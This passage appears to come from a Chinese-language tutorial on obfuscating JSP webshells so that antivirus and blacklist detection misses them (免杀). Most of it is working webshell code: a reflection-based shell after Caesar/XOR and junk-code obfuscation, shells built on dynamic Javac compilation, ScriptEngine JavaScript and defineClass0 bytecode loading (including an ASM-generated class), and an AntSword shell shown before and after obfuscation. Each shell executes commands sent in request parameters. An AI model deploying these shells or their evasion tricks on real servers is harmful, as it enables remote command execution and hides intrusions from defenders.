    8. vas.put(va.getNameAsString(), newName);
    9. va.setName(newName);
    10. }
    11. // 需要修改引用到该变量的变量名
    12. method.findAll(NameExpr.class).forEach(n->{
    13. // 修改引用
    14. if(vas.containsKey(n.getNameAsString())){
    15. n.setName(vas.get(n.getNameAsString()));
    16. }
    17. });

    十三、反射马最终处理

    最后需要在JSP开头处塞入解密方法,而解密方法也可以进行除了恺撒加密这一步以外的其他手段

    反射调用Webshell的例子经过处理后,最终的结果如下:

    1. <%@ page language="java" pageEncoding="UTF-8"%><%! String PASSWORD = "passwdd"; %><%!public static String dec(String str, int offset) {
    2. try {
    3. byte[] RdhWGkNRTHraMoNXnbqd = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
    4. str = new String(RdhWGkNRTHraMoNXnbqd);
    5. char tBUyKgoXbsPvSsCJSufs;
    6. StringBuilder RsYpziowqWZoOiHwzNsD = new StringBuilder();
    7. for (int TjYCIPdUeOmJcJBsquxo = (1121081 ^ 1121081); TjYCIPdUeOmJcJBsquxo < str.length(); TjYCIPdUeOmJcJBsquxo++) {
    8. tBUyKgoXbsPvSsCJSufs = str.charAt(TjYCIPdUeOmJcJBsquxo);
    9. if (tBUyKgoXbsPvSsCJSufs >= 'a' && tBUyKgoXbsPvSsCJSufs <= 'z') {
    10. tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'a') - offset + (1931430 ^ 1931452)) % (1564233 ^ 1564243) + 'a');
    11. } else if (tBUyKgoXbsPvSsCJSufs >= 'A' && tBUyKgoXbsPvSsCJSufs <= 'Z') {
    12. tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - 'A') - offset + (1571561 ^ 1571571)) % (1308881 ^ 1308875) + 'A');
    13. } else if (tBUyKgoXbsPvSsCJSufs >= '0' && tBUyKgoXbsPvSsCJSufs <= '9') {
    14. tBUyKgoXbsPvSsCJSufs = (char) (((tBUyKgoXbsPvSsCJSufs - '0') - offset + (1720022 ^ 1720028)) % (1441753 ^ 1441747) + '0');
    15. } else {
    16. RsYpziowqWZoOiHwzNsD = new StringBuilder(str);
    17. break;
    18. }
    19. RsYpziowqWZoOiHwzNsD.append(tBUyKgoXbsPvSsCJSufs);
    20. }
    21. String TCdtxqdRtUvCZbefvpib = RsYpziowqWZoOiHwzNsD.toString();
    22. TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\\"", "\"");
    23. TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\n", "\n");
    24. return TCdtxqdRtUvCZbefvpib;
    25. } catch (Exception ignored) {
    26. return "";
    27. }
    28. }%><%
    29. try {
    30. String[] ohMQjyWPNghGDIectNXy = new String[] { "M3w3fDl8MTF8MTB8NHwxfDEzfDB8Nnw4fDEyfDJ8NQ==", "eWZt", "bHZt", "amF2YS5sYW5nLlJ1bnRpbWU=", "cG5jQWR3Y3J2bg==", "bmdubA==", "PHByZT4=", "PC9wcmU+" };
    31. String KYojVAFKnStuhAMYzhkx = dec(ohMQjyWPNghGDIectNXy[((234768 ^ 1973569) ^ (590428 ^ 1346061))], ((651824 ^ 1630724) ^ (814895 ^ 1933074)));
    32. String[] yvralpImQfqgUyDKbRSG = KYojVAFKnStuhAMYzhkx.split("\\|");
    33. int kGsnqIufqoPkrtLHXIaW = ((279689 ^ 1441046) ^ (1995565 ^ 1034930));
    34. String llbDKgUNpIZeFFzrADVc = null;
    35. String DnyFyfbKEMRubCuIJCGT = null;
    36. Class sdyNhFJrytFWBVFtHBAW = null;
    37. java.lang.reflect.Method IggLavlquoqeLcmkEMCH = null;
    38. java.lang.reflect.Method vECcMsoXaxNOVEfGJtyD = null;
    39. Process PqYHaydLQrLSTEejmXPC = null;
    40. java.io.InputStream SOPjuNYhMRIxBIMFsLnC = null;
    41. java.io.InputStreamReader OskZRyDgCtUfhCNMbiHl = null;
    42. java.io.BufferedReader ADbSwyDfyRrnejwmlMVP = null;
    43. byte[] FyRwKNOxPNyWZqTioayh = null;
    44. while (true) {
    45. int ckwcNOWaQwslAqKXsBXS = Integer.parseInt(yvralpImQfqgUyDKbRSG[kGsnqIufqoPkrtLHXIaW++]);
    46. switch(ckwcNOWaQwslAqKXsBXS) {
    47. case ((130619 ^ 1310711) ^ (16539 ^ 1196378)):
    48. SOPjuNYhMRIxBIMFsLnC = PqYHaydLQrLSTEejmXPC.getInputStream();
    49. break;
    50. case ((70158 ^ 1439183) ^ (936575 ^ 1748408)):
    51. out.print(dec(ohMQjyWPNghGDIectNXy[((1035581 ^ 1276560) ^ (1012433 ^ 1295738))], ((408828 ^ 1977713) ^ (805113 ^ 1333629))));
    52. break;
    53. case ((791991 ^ 1721991) ^ (276318 ^ 1205350)):
    54. OskZRyDgCtUfhCNMbiHl = new java.io.InputStreamReader(SOPjuNYhMRIxBIMFsLnC);
    55. break;
    56. case ((994327 ^ 1996681) ^ (272624 ^ 1405797)):
    57. sdyNhFJrytFWBVFtHBAW = Class.forName(dec(ohMQjyWPNghGDIectNXy[((723389 ^ 1911990) ^ (940741 ^ 1605581))], ((565548 ^ 1732890) ^ (581035 ^ 1707412))));
    58. break;
    59. case ((660296 ^ 1894086) ^ (864030 ^ 1825429)):
    60. out.print(dec(ohMQjyWPNghGDIectNXy[((160730 ^ 1269193) ^ (2021183 ^ 1046827))], ((530501 ^ 1792818) ^ (68852 ^ 1200010))));
    61. break;
    62. case ((314344 ^ 1957918) ^ (171737 ^ 1815843)):
    63. ADbSwyDfyRrnejwmlMVP = new java.io.BufferedReader(OskZRyDgCtUfhCNMbiHl);
    64. case ((7180 ^ 1883268) ^ (1034438 ^ 1271886)):
    65. FyRwKNOxPNyWZqTioayh = new byte[((874262 ^ 1421190) ^ (356355 ^ 1933459))];
    66. break;
    67. case ((840786 ^ 1964027) ^ (75706 ^ 1049616)):
    68. llbDKgUNpIZeFFzrADVc = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((313090 ^ 1196306) ^ (855029 ^ 1805796))], ((1045651 ^ 1997062) ^ (598409 ^ 1616917))));
    69. break;
    70. case ((472276 ^ 1989936) ^ (960482 ^ 1560079)):
    71. if (!llbDKgUNpIZeFFzrADVc.equals(PASSWORD)) {
    72. return;
    73. }
    74. break;
    75. case ((405394 ^ 1254229) ^ (606815 ^ 1855135)):
    76. DnyFyfbKEMRubCuIJCGT = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((877796 ^ 1647594) ^ (1003933 ^ 1775249))], ((417054 ^ 1917469) ^ (779740 ^ 1112790))));
    77. break;
    78. case ((766303 ^ 1441376) ^ (438729 ^ 1638140)):
    79. IggLavlquoqeLcmkEMCH = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((213616 ^ 1517688) ^ (867884 ^ 1659936))], ((741373 ^ 1786126) ^ (161325 ^ 1210583))));
    80. break;
    81. case ((93071 ^ 1493750) ^ (108351 ^ 1443399)):
    82. PqYHaydLQrLSTEejmXPC = (Process) vECcMsoXaxNOVEfGJtyD.invoke(IggLavlquoqeLcmkEMCH.invoke(null), DnyFyfbKEMRubCuIJCGT);
    83. break;
    84. case ((480088 ^ 1200421) ^ (422292 ^ 1274859)):
    85. String VzWBitUpHtiNHjloSSoh = null;
    86. while ((VzWBitUpHtiNHjloSSoh = ADbSwyDfyRrnejwmlMVP.readLine()) != null) {
    87. out.println(VzWBitUpHtiNHjloSSoh);
    88. }
    89. break;
    90. case ((492345 ^ 1552686) ^ (791819 ^ 1845016)):
    91. vECcMsoXaxNOVEfGJtyD = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((914605 ^ 1809294) ^ (17726 ^ 1452568))], ((937477 ^ 1205935) ^ (615802 ^ 1396185))), String.class);
    92. break;
    93. }
    94. }
    95. } catch (Exception ignored) {
    96. }
    97. %>

    十四、Javac动态编译

    三梦师傅提供的Javac动态编译免杀马也可以进一步处理,在工具中已经实现。

    在JSP中构造命令执行的Java代码动态编译并执行实现Webshell,其中append很多字符串而不直接写,为了更好地恺撒加密和异或加密、

    处理前的原版Webshell如下:

    1. <%@ page language="java" pageEncoding="UTF-8" %>
    2. <%@ page import="java.nio.file.Files" %>
    3. <%@ page import="javax.tools.ToolProvider" %>
    4. <%@ page import="javax.tools.JavaCompiler" %>
    5. <%@ page import="javax.tools.DiagnosticCollector" %>
    6. <%@ page import="java.util.Locale" %>
    7. <%@ page import="java.nio.charset.Charset" %>
    8. <%@ page import="javax.tools.StandardJavaFileManager" %>
    9. <%@ page import="java.util.Random" %>
    10. <%@ page import="java.nio.file.Paths" %>
    11. <%@ page import="java.io.File" %>
    12. <%@ page import="java.net.URLClassLoader" %>
    13. <%@ page import="java.net.URL" %>
    14. <%
    15. String PASSWORD = "password";
    16. String cmd = request.getParameter("cmd");
    17. String pwd = request.getParameter("pwd");
    18. if (!pwd.equals(PASSWORD)) {
    19. return;
    20. }
    21. String tmpPath = Files.createTempDirectory("xxxxx").toFile().getPath();
    22. JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();
    23. DiagnosticCollector diagnostics = new DiagnosticCollector();
    24. StandardJavaFileManager standardJavaFileManager = javaCompiler.getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8"));
    25. int id = new Random().nextInt(10000000);
    26. StringBuilder stringBuilder = new StringBuilder()
    27. .append("import java.io.BufferedReader;\n")
    28. .append("import java.io.IOException;\n")
    29. .append("import java.io.InputStream;\n")
    30. .append("import java.io.InputStreamReader;\n")
    31. .append("public class Evil" + id + " {\n")
    32. .append(" public static String result = \"\";\n")
    33. .append(" public Evil" + id + "() throws Throwable {\n")
    34. .append(" StringBuilder stringBuilder = new StringBuilder();\n")
    35. .append(" try {")
    36. .append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader" +
    37. "(Runtime.getRuntime().exec(\"" + cmd + "\").getInputStream()));\n")
    38. .append(" String line;\n")
    39. .append(" while((line = bufferedReader.readLine()) != null) {\n")
    40. .append(" stringBuilder.append(line).append(\"\\n\");\n")
    41. .append(" }\n")
    42. .append(" result = stringBuilder.toString();\n")
    43. .append(" } catch (Exception e) {\n")
    44. .append(" e.printStackTrace();\n")
    45. .append(" }\n")
    46. .append(" throw new Throwable(stringBuilder.toString());")
    47. .append(" }\n")
    48. .append("}");
    49. Files.write(Paths.get(tmpPath + File.separator + "Evil" + id + ".java"), stringBuilder.toString().getBytes());
    50. Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Evil" + id + ".java");
    51. javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();
    52. try {
    53. new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Evil" + id).newInstance();
    54. } catch (Throwable e) {
    55. response.getWriter().print("
      " + e.getMessage() + "
      "
      );
    56. }
    57. %>

    十五、ScriptEngine免杀

    参考天下大木头师傅的ScriptEngine调用JS免杀马,在工具中完成了进一步的免杀。

    其中append很多字符串而不直接写,一方面为了更好地恺撒加密和异或加密,另外考虑是防止java.lang.Runtime这样的黑名单检测。

    处理前的原版Webshell如下:

    1. <%@ page import="java.io.InputStream" %>
    2. <%@ page language="java" pageEncoding="UTF-8" %>
    3. <%
    4. String PASSWORD = "password";
    5. javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("JavaScript");
    6. engine.put("request",request);
    7. String pwd = request.getParameter("pwd");
    8. if(!pwd.equals(PASSWORD)){
    9. return;
    10. }
    11. StringBuilder stringBuilder = new StringBuilder();
    12. stringBuilder.append("function test(){")
    13. .append("try {\n")
    14. .append(" load(\"nashorn:mozilla_compat.js\");\n")
    15. .append("} catch (e) {}\n")
    16. .append("importPackage(Packages.java.lang);\n")
    17. .append("var cmd = request.getParameter(\"cmd\");")
    18. .append("var x=java/****/.lang./****/Run")
    19. .append("time./****")
    20. .append("/getRunti")
    21. .append("me()/****/.exec(cmd);")
    22. .append("return x.getInputStream();};")
    23. .append("test();");
    24. java.io.InputStream in = (InputStream) engine.eval(stringBuilder.toString());
    25. StringBuilder outStr = new StringBuilder();
    26. response.getWriter().print("
      ");
    27. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    28. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    29. String s = null;
    30. while ((s = stdInput.readLine()) != null) {
    31. outStr.append(s + "\n");
    32. }
    33. response.getWriter().print(outStr.toString());
    34. response.getWriter().print("
    ");
  • %>
  • 十六、defineClass0免杀

    思路来自su18师傅的代码,核心思想是加载字节码执行实现Webshell功能,在工具中实现。

    由于defineClass0native方法,理论上可以绕过一些检测。

    由于JVM加载了字节码中的某个类,所以该Webshell只有一次执行命令的能力,第二次运行同样的JSP会导致类重复,想要第二次执行必须上传一个字节码的类名不同的Webshell。

    使用ASM技术实现了随机类名的功能,可以做到每次生成的Webshell的字节码的类名不同。

    处理前的原版Webshell如下:

    1. <%@ page language="java" pageEncoding="UTF-8" %>
    2. <%!
    3. public static Class defineByProxy(String className, byte[] classBytes) throws Exception {
    4. ClassLoader classLoader = ClassLoader.getSystemClassLoader();
    5. java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
    6. ClassLoader.class, String.class, byte[].class, int.class, int.class);
    7. method.setAccessible(true);
    8. return (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
    9. }
    10. %>
    11. <%
    12. byte[] bytes = new sun.misc.BASE64Decoder().decodeBuffer("yv66vgAAADQAcQoAGwAvBwAwCgACAC8HADEHADIKADMANAoAMwA1CgA2ADcKAAUAOAoABAA5CgAEADoKAAIAOwgAPAoAAgA9CQAQAD4HAD8KAEAAQQgAQgoAQwBECgBFAEYKAEUARwcASAoAFgAvCgAWAEkJAEoASwoATABNBwBOAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAD8HAE8HADAHADEBAApFeGNlcHRpb25zBwBQAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAKU291cmNlRmlsZQEAEUJ5dGVDb2RlRXZpbC5qYXZhDAAeAFEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBSDABTAFQMAFUAVgcAVwwAWABZDAAeAFoMAB4AWwwAXAAqDABdAF4BAAEKDAApACoMABwAHQEAGm9yZy9zZWMvc3RhcnQvQnl0ZUNvZGVFdmlsBwBfDABgAGEBABJCeXRlQ29kZUV2aWwuY2xhc3MHAGIMAGMAZAcAZQwAZgBnDABoAGkBABZzdW4vbWlzYy9CQVNFNjRFbmNvZGVyDABqAGsHAGwMAG0AbgcAbwwAcAAfAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAD2phdmEvbGFuZy9DbGFzcwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAE2dldFJlc291cmNlQXNTdHJlYW0BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAAlhdmFpbGFibGUBAAMoKUkBAARyZWFkAQAFKFtCKUkBAAxlbmNvZGVCdWZmZXIBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuACEAEAAbAAAAAQAAABwAHQAAAAMAAQAeAB8AAgAgAAAAnAAGAAUAAABHKrcAAbsAAlm3AANNuwAEWbsABVm4AAYrtgAHtgAItwAJtwAKTi22AAtZOgTGABIsGQS2AAwSDbYADFen/+oqLLYADrUAD7EAAAACACEAAAAiAAgAAAAMAAQADQAMAA4AFAAPACUAEQAvABIAPgAUAEYAFQAiAAAAGwAC/wAlAAQHACMHACQHACUHACYAAPwAGAcAJAAnAAAABAABACgAAQApACoAAQAgAAAAHQABAAEAAAAFKrQAD7AAAAABACEAAAAGAAEAAAAYAAkAKwAsAAIAIAAAAGAAAgAFAAAAMBIQtgAREhK2ABNMK7YAFLwITSsstgAVV7sAFlm3ABdOLSy2ABg6BLIAGRkEtgAasQAAAAEAIQAAAB4ABwAAABwACwAdABIAHgAYAB8AIAAgACcAIQAvACIAJwAAAAQAAQAoAAEALQAAAAIALg==");
    13. Class testClass = defineByProxy("org/sec/start/ByteCodeEvil", bytes);
    14. Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
    15. out.print("
      ");
    16. out.println(result.toString());
    17. out.print("
    ");
  • %>
  • 其中的字节码是该类,一个普通类,在构造方法中实现简单的回显Webshell。

    如果该类被实例化就会执行命令,实现Webshell的功能:

    1. public class ByteCodeEvil {
    2. String res;
    3. public ByteCodeEvil(String cmd) throws IOException {
    4. StringBuilder stringBuilder = new StringBuilder();
    5. BufferedReader bufferedReader = new BufferedReader(
    6. new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
    7. String line;
    8. while ((line = bufferedReader.readLine()) != null) {
    9. stringBuilder.append(line).append("\n");
    10. }
    11. this.res = stringBuilder.toString();
    12. }
    13. public String toString() {
    14. return this.res;
    15. }
    16. }

    为何不直接构造字节码,然后加载执行实现Webshell呢?

    于是笔者用JDK自带的ASM实现了ByteCodeEvil类,注意一定要用自带ASM,因为目标机器一定有JDK但不一定有第三方依赖库。

    处理前的原版Webshell如下:

    1. <%@ page language="java" pageEncoding="UTF-8" %>
    2. <%!
    3. public static Class defineByProxy(String className, byte[] classBytes) throws Exception {
    4. ClassLoader classLoader = ClassLoader.getSystemClassLoader();
    5. java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
    6. ClassLoader.class, String.class, byte[].class, int.class, int.class);
    7. method.setAccessible(true);
    8. return (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
    9. }
    10. %>
    11. <%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
    12. <%
    13. jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
    14. jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
    15. jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
    16. jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
    17. classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
    18. fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
    19. fieldVisitor.visitEnd();
    20. methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
    21. methodVisitor.visitCode();
    22. methodVisitor.visitVarInsn(ALOAD, 0);
    23. methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "", "()V", false);
    24. methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
    25. methodVisitor.visitInsn(DUP);
    26. methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false);
    27. methodVisitor.visitVarInsn(ASTORE, 2);
    28. methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
    29. methodVisitor.visitInsn(DUP);
    30. methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
    31. methodVisitor.visitInsn(DUP);
    32. methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
    33. methodVisitor.visitVarInsn(ALOAD, 1);
    34. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
    35. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
    36. methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "", "(Ljava/io/InputStream;)V", false);
    37. methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "", "(Ljava/io/Reader;)V", false);
    38. methodVisitor.visitVarInsn(ASTORE, 3);
    39. jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
    40. methodVisitor.visitLabel(label0);
    41. methodVisitor.visitVarInsn(ALOAD, 3);
    42. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
    43. methodVisitor.visitInsn(DUP);
    44. methodVisitor.visitVarInsn(ASTORE, 4);
    45. jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
    46. methodVisitor.visitJumpInsn(IFNULL, label1);
    47. methodVisitor.visitVarInsn(ALOAD, 2);
    48. methodVisitor.visitVarInsn(ALOAD, 4);
    49. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    50. methodVisitor.visitLdcInsn("\n");
    51. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    52. methodVisitor.visitInsn(POP);
    53. methodVisitor.visitJumpInsn(GOTO, label0);
    54. methodVisitor.visitLabel(label1);
    55. methodVisitor.visitVarInsn(ALOAD, 0);
    56. methodVisitor.visitVarInsn(ALOAD, 2);
    57. methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
    58. methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    59. methodVisitor.visitInsn(RETURN);
    60. methodVisitor.visitMaxs(6, 5);
    61. methodVisitor.visitEnd();
    62. methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
    63. methodVisitor.visitCode();
    64. methodVisitor.visitVarInsn(ALOAD, 0);
    65. methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    66. methodVisitor.visitInsn(ARETURN);
    67. methodVisitor.visitMaxs(1, 1);
    68. methodVisitor.visitEnd();
    69. classWriter.visitEnd();
    70. byte[] code = classWriter.toByteArray();
    71. Class testClass = defineByProxy("sample/ByteCodeEvil", code);
    72. Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
    73. out.print("
      ");
    74. out.println(result.toString());
    75. out.print("
    ");
  • %>
  • 注意该Webshell和上文一样,只能执行一次。

    如果想多次执行,需要类名不同,而这里实现类名不同非常简单,修改sample/ByteCodeEvil即可。

    十七、蚁剑免杀处理

    笔者尝试用了以上的方法(0x02-0x05)和花指令等其他小手段,最后实现了蚁剑Webshell的处理,不知道免杀效果如何。

    处理前的原版Webshell如下:

    1. <%!
    2. class U extends ClassLoader {
    3. U(ClassLoader c) {
    4. super(c);
    5. }
    6. public Class g(byte[] b) {
    7. return super.defineClass(b, 0, b.length);
    8. }
    9. }
    10. public byte[] base64Decode(String str) throws Exception {
    11. try {
    12. Class clazz = Class.forName("sun.misc.BASE64Decoder");
    13. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    14. } catch (Exception e) {
    15. Class clazz = Class.forName("java.util.Base64");
    16. Object decoder = clazz.getMethod("getDecoder").invoke(null);
    17. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
    18. }
    19. }
    20. %>
    21. <%
    22. String cls = request.getParameter("passwd");
    23. if (cls != null) {
    24. new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    25. }
    26. %>

    处理后:

    1. <%!
    2. class VGakJDyicU extends ClassLoader {
    3. VGakJDyicU(ClassLoader sjqhdnqocals) {
    4. super(sjqhdnqocals);
    5. for (int ZCzmllUXtVEeZskSMJEz = (1263180 ^ 1263180); ZCzmllUXtVEeZskSMJEz < (1863338 ^ 1863328); ZCzmllUXtVEeZskSMJEz++) {
    6. if (ZCzmllUXtVEeZskSMJEz == (1988769 ^ 1988776)) {
    7. break;
    8. }
    9. }
    10. }
    11. private int dsaENLANCL() {
    12. for (int yoMmmGPWAtcOBiAgCUWX = ((259959 ^ 1197627) ^ (206306 ^ 1217710)); yoMmmGPWAtcOBiAgCUWX < ((343431 ^ 1794195) ^ (966919 ^ 1088537)); yoMmmGPWAtcOBiAgCUWX++) {
    13. if (yoMmmGPWAtcOBiAgCUWX == ((134011 ^ 1675804) ^ (770157 ^ 1071363))) {
    14. break;
    15. }
    16. }
    17. return ((485255 ^ 1246863) ^ (156062 ^ 1441942));
    18. }
    19. public Class qwer(byte[] dqwbdjk) {
    20. if (dqwbdjk.length == ((2069908 ^ 1078641) ^ (1784881 ^ 1367216))) {
    21. for (int GsuWImCilISonbpTyZui = ((636131 ^ 1142979) ^ (124627 ^ 1647347)); GsuWImCilISonbpTyZui < ((579438 ^ 1670906) ^ (348300 ^ 1374482)); GsuWImCilISonbpTyZui++) {
    22. if (GsuWImCilISonbpTyZui == ((13479 ^ 1889100) ^ (611430 ^ 1422212))) {
    23. break;
    24. }
    25. }
    26. }
    27. int ercCqJlVzFqfCyrEabcm = dqwbdjk.length;
    28. if (ercCqJlVzFqfCyrEabcm > ((330429 ^ 1925916) ^ (741991 ^ 1260492))) {
    29. for (int llcdjrZGNEWQaALQAsUR = ((207275 ^ 1682785) ^ (184435 ^ 1594553)); llcdjrZGNEWQaALQAsUR < ((206607 ^ 1213855) ^ (1981517 ^ 1023703)); llcdjrZGNEWQaALQAsUR++) {
    30. if (llcdjrZGNEWQaALQAsUR == ((328245 ^ 1533470) ^ (510359 ^ 1420725))) {
    31. break;
    32. }
    33. }
    34. }
    35. byte[] YwAvyJBZdbTBZbQhcBwH = dqwbdjk;
    36. Class TaoMNcEEzcdFDzvxRtCB = super.defineClass(YwAvyJBZdbTBZbQhcBwH, ((396500 ^ 1437237) ^ (289123 ^ 1543042)), YwAvyJBZdbTBZbQhcBwH.length);
    37. if (TaoMNcEEzcdFDzvxRtCB.isInterface()) {
    38. TaoMNcEEzcdFDzvxRtCB.getName();
    39. }
    40. return TaoMNcEEzcdFDzvxRtCB;
    41. }
    42. }
    43. %><%!
    44. public static byte[] base64Decode(String str) throws Exception {
    45. String[] globalArr = new String[]{"c3VuLm1pc2MuQkFTRTY0RGVjb2Rlcg==", "aGlnc2hpRnlqaml2", "amF2YS51dGlsLkJhc2U2NA==", "a2l4SGlnc2hpdg==", "aGlnc2hp"};
    46. try {
    47. Class clazz = Class.forName(dec(globalArr[((0 ^ 1345535) ^ (715040 ^ 1994463))], ((600797 ^ 1524742) ^ (207413 ^ 1918186))));
    48. return (byte[]) clazz.getMethod(dec(globalArr[((948015 ^ 1651496) ^ (182287 ^ 1412105))], ((769795 ^ 1506285) ^ (688088 ^ 1522482))), String.class).invoke(clazz.newInstance(), str);
    49. } catch (Exception e) {
    50. Class clazz = Class.forName(dec(globalArr[((797587 ^ 1382585) ^ (127362 ^ 1622698))], ((582194 ^ 1928767) ^ (636958 ^ 1848343))));
    51. Object decoder = clazz.getMethod(dec(globalArr[((664470 ^ 1890424) ^ (1680902 ^ 1007083))], ((1485 ^ 1523451) ^ (346165 ^ 1209095)))).invoke(null);
    52. return (byte[]) decoder.getClass().getMethod(dec(globalArr[((554945 ^ 1929084) ^ (225411 ^ 1468474))], ((682491 ^ 1223509) ^ (148392 ^ 1736962))), String.class).invoke(decoder, str);
    53. }
    54. }
    55. %><%!
    56. public static String dec(String str, int offset) {
    57. try {
    58. byte[] MQgbKJrvmvUNiACWzYhP = new sun.misc.BASE64Decoder().decodeBuffer(str);
    59. str = new String(MQgbKJrvmvUNiACWzYhP);
    60. char rKfCgregXvByjCvhxRxW;
    61. StringBuilder UJmcHvuZzxZueglvhEXj = new StringBuilder();
    62. for (int IEQwwpVvaGzMUAxhssQF = (1825797 ^ 1825797); IEQwwpVvaGzMUAxhssQF < str.length(); IEQwwpVvaGzMUAxhssQF++) {
    63. rKfCgregXvByjCvhxRxW = str.charAt(IEQwwpVvaGzMUAxhssQF);
    64. if (rKfCgregXvByjCvhxRxW >= 'a' && rKfCgregXvByjCvhxRxW <= 'z') {
